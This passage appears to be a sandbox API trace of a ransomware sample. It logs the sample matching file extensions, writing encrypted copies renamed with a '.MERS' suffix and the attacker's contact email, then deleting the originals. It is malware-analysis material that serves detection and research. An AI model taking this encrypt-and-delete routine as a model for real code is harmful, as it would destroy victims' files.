(lpString=".xlsx") returned 5 [0036.003] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0036.003] lstrlenW (lpString=".ppt") returned 4 [0036.003] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.003] lstrlenW (lpString=".zip") returned 4 [0036.003] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.003] lstrlenW (lpString=".rar") returned 4 [0036.003] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.003] lstrlenW (lpString=".bz2") returned 4 [0036.003] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.003] lstrlenW (lpString=".7z") returned 3 [0036.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.004] lstrlenW (lpString=".dbf") returned 4 [0036.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.004] lstrlenW (lpString=".1cd") returned 4 [0036.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.004] lstrlenW (lpString=".jpg") returned 4 [0036.004] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.004] lstrlenW (lpString=".doc") returned 4 [0036.004] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.004] lstrlenW (lpString=".docx") returned 5 [0036.004] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0036.004] lstrlenW (lpString=".pdf") returned 4 [0036.004] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.004] lstrlenW (lpString=".xls") returned 4 [0036.004] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.004] lstrlenW (lpString=".xlsx") returned 5 [0036.004] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0036.004] lstrlenW (lpString=".ppt") returned 4 [0036.004] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.004] lstrlenW (lpString=".zip") returned 4 [0036.004] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.004] lstrlenW (lpString=".rar") returned 4 [0036.004] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.004] lstrlenW (lpString=".bz2") returned 4 [0036.004] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.004] lstrlenW (lpString=".7z") returned 3 [0036.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.004] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.005] lstrlenW (lpString=".dbf") returned 4 [0036.005] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.005] lstrlenW (lpString=".1cd") returned 4 [0036.005] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.005] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.005] lstrlenW (lpString=".jpg") returned 4 [0036.005] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.005] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0036.005] lstrlenW (lpString="MS.GIF") returned 6 [0036.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.381] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1069) returned 1 [0037.381] CloseHandle (hObject=0x1ec) returned 1 [0037.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0037.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0037.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.382] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.382] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0037.382] GetLastError () returned 0x0 [0037.382] ReadFile (in: hFile=0x1ec, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x42d, lpOverlapped=0x0) returned 1 [0037.781] WriteFile (in: hFile=0x200, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x430, lpOverlapped=0x0) returned 1 [0037.782] ReadFile (in: hFile=0x1ec, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.782] WriteFile (in: hFile=0x200, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0037.782] SetEndOfFile (hFile=0x200) returned 1 [0037.782] CloseHandle (hObject=0x200) returned 1 [0037.783] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.783] SetEndOfFile (hFile=0x1ec) returned 1 [0037.784] CloseHandle (hObject=0x1ec) returned 1 [0037.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0037.784] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0037.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.784] lstrlenW (lpString=".doc") returned 4 [0037.784] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0037.784] lstrlenW (lpString=".docx") returned 5 [0037.784] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0037.784] lstrlenW (lpString=".pdf") returned 4 [0037.784] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0037.784] lstrlenW (lpString=".xls") returned 4 [0037.784] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0037.784] lstrlenW (lpString=".xlsx") returned 5 [0037.784] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0037.784] lstrlenW (lpString=".ppt") returned 4 [0037.784] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0037.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.785] lstrlenW (lpString=".zip") returned 4 [0037.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0037.785] lstrlenW (lpString=".rar") returned 4 [0037.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0037.785] lstrlenW (lpString=".bz2") returned 4 [0037.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0037.785] lstrlenW (lpString=".7z") returned 3 [0037.785] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0037.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.785] lstrlenW (lpString=".dbf") returned 4 [0037.785] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0037.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.785] lstrlenW (lpString=".1cd") returned 4 [0037.785] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0037.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.785] lstrlenW (lpString=".jpg") returned 4 [0037.785] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0037.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.785] lstrlenW (lpString=".doc") returned 4 [0037.785] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0037.785] lstrlenW (lpString=".docx") returned 5 [0037.785] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0037.785] lstrlenW (lpString=".pdf") returned 4 [0037.785] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0037.785] lstrlenW (lpString=".xls") returned 4 [0037.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0037.785] lstrlenW (lpString=".xlsx") returned 5 [0037.785] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0037.785] lstrlenW (lpString=".ppt") returned 4 [0037.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0037.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.785] lstrlenW (lpString=".zip") returned 4 [0037.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0037.785] lstrlenW (lpString=".rar") returned 4 [0037.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0037.785] lstrlenW (lpString=".bz2") returned 4 [0037.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0037.786] lstrlenW (lpString=".7z") returned 3 [0037.786] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0037.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.786] lstrlenW (lpString=".dbf") returned 4 [0037.786] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0037.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.786] lstrlenW (lpString=".1cd") returned 4 [0037.786] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0037.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0037.786] lstrlenW (lpString=".jpg") returned 4 [0037.786] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0037.786] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0037.786] lstrlenW (lpString="Content.xml") returned 11 [0037.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0038.345] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=27045) returned 1 [0038.345] CloseHandle (hObject=0x1c0) returned 1 [0038.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0038.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0038.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.345] lstrlenW (lpString=".doc") returned 4 [0038.345] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.345] lstrlenW (lpString=".docx") returned 5 [0038.345] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0038.345] lstrlenW (lpString=".pdf") returned 4 [0038.345] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.345] lstrlenW (lpString=".xls") returned 4 [0038.345] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString=".xlsx") returned 5 [0038.346] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0038.346] lstrlenW (lpString=".ppt") returned 4 [0038.346] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.346] lstrlenW (lpString=".zip") returned 4 [0038.346] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.346] lstrlenW (lpString=".rar") returned 4 [0038.346] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString=".bz2") returned 4 [0038.346] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString=".7z") returned 3 [0038.346] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.346] lstrlenW (lpString=".dbf") returned 4 [0038.346] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.346] lstrlenW (lpString=".1cd") returned 4 [0038.346] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.346] lstrlenW (lpString=".jpg") returned 4 [0038.346] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.346] lstrlenW (lpString=".doc") returned 4 [0038.346] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString=".docx") returned 5 [0038.346] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0038.346] lstrlenW (lpString=".pdf") returned 4 [0038.346] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString=".xls") returned 4 [0038.346] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString=".xlsx") returned 5 [0038.346] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0038.346] lstrlenW (lpString=".ppt") returned 4 [0038.346] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.347] lstrlenW (lpString=".zip") returned 4 [0038.347] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.347] lstrlenW (lpString=".rar") returned 4 [0038.347] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.347] lstrlenW (lpString=".bz2") returned 4 [0038.347] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.347] lstrlenW (lpString=".7z") returned 3 [0038.347] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.347] lstrlenW (lpString=".dbf") returned 4 [0038.347] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.347] lstrlenW (lpString=".1cd") returned 4 [0038.347] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0038.347] lstrlenW (lpString=".jpg") returned 4 [0038.347] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.347] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0038.347] lstrlenW (lpString="boxed-join.avi") returned 14 [0038.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.622] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=33280) returned 1 [0039.622] CloseHandle (hObject=0x184) returned 1 [0039.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0039.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.623] lstrlenW (lpString=".doc") returned 4 [0039.623] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.623] lstrlenW (lpString=".docx") returned 5 [0039.623] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0039.623] lstrlenW (lpString=".pdf") returned 4 [0039.623] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.623] lstrlenW (lpString=".xls") returned 4 [0039.623] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.623] lstrlenW (lpString=".xlsx") returned 5 [0039.623] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0039.623] lstrlenW (lpString=".ppt") returned 4 [0039.623] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.623] lstrlenW (lpString=".zip") returned 4 [0039.623] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.623] lstrlenW (lpString=".rar") returned 4 [0039.623] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.624] lstrlenW (lpString=".bz2") returned 4 [0039.624] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.624] lstrlenW (lpString=".7z") returned 3 [0039.624] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.624] lstrlenW (lpString=".dbf") returned 4 [0039.624] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.624] lstrlenW (lpString=".1cd") returned 4 [0039.624] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.624] lstrlenW (lpString=".jpg") returned 4 [0039.624] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.624] lstrlenW (lpString=".doc") returned 4 [0039.624] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.624] lstrlenW (lpString=".docx") returned 5 [0039.624] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0039.624] lstrlenW (lpString=".pdf") returned 4 [0039.624] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.624] lstrlenW (lpString=".xls") returned 4 [0039.624] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.624] lstrlenW (lpString=".xlsx") returned 5 [0039.624] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0039.625] lstrlenW (lpString=".ppt") returned 4 [0039.625] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.625] lstrlenW (lpString=".zip") returned 4 [0039.625] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.625] lstrlenW (lpString=".rar") returned 4 [0039.625] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.625] lstrlenW (lpString=".bz2") returned 4 [0039.625] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.625] lstrlenW (lpString=".7z") returned 3 [0039.625] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.625] lstrlenW (lpString=".dbf") returned 4 [0039.625] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.625] lstrlenW (lpString=".1cd") returned 4 [0039.625] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0039.625] lstrlenW (lpString=".jpg") returned 4 [0039.625] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.625] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0039.625] lstrlenW (lpString="boxed-split.avi") returned 15 [0039.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.626] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=62976) returned 1 [0039.626] CloseHandle (hObject=0x184) returned 1 [0039.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0039.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.626] lstrlenW (lpString=".doc") returned 4 [0039.626] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.626] lstrlenW (lpString=".docx") returned 5 [0039.626] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0039.626] lstrlenW (lpString=".pdf") returned 4 [0039.626] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.626] lstrlenW (lpString=".xls") returned 4 [0039.626] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.626] lstrlenW (lpString=".xlsx") returned 5 [0039.626] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0039.626] lstrlenW (lpString=".ppt") returned 4 [0039.626] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.626] lstrlenW (lpString=".zip") returned 4 [0039.626] lstrcmpiW (lpString1=".zip", 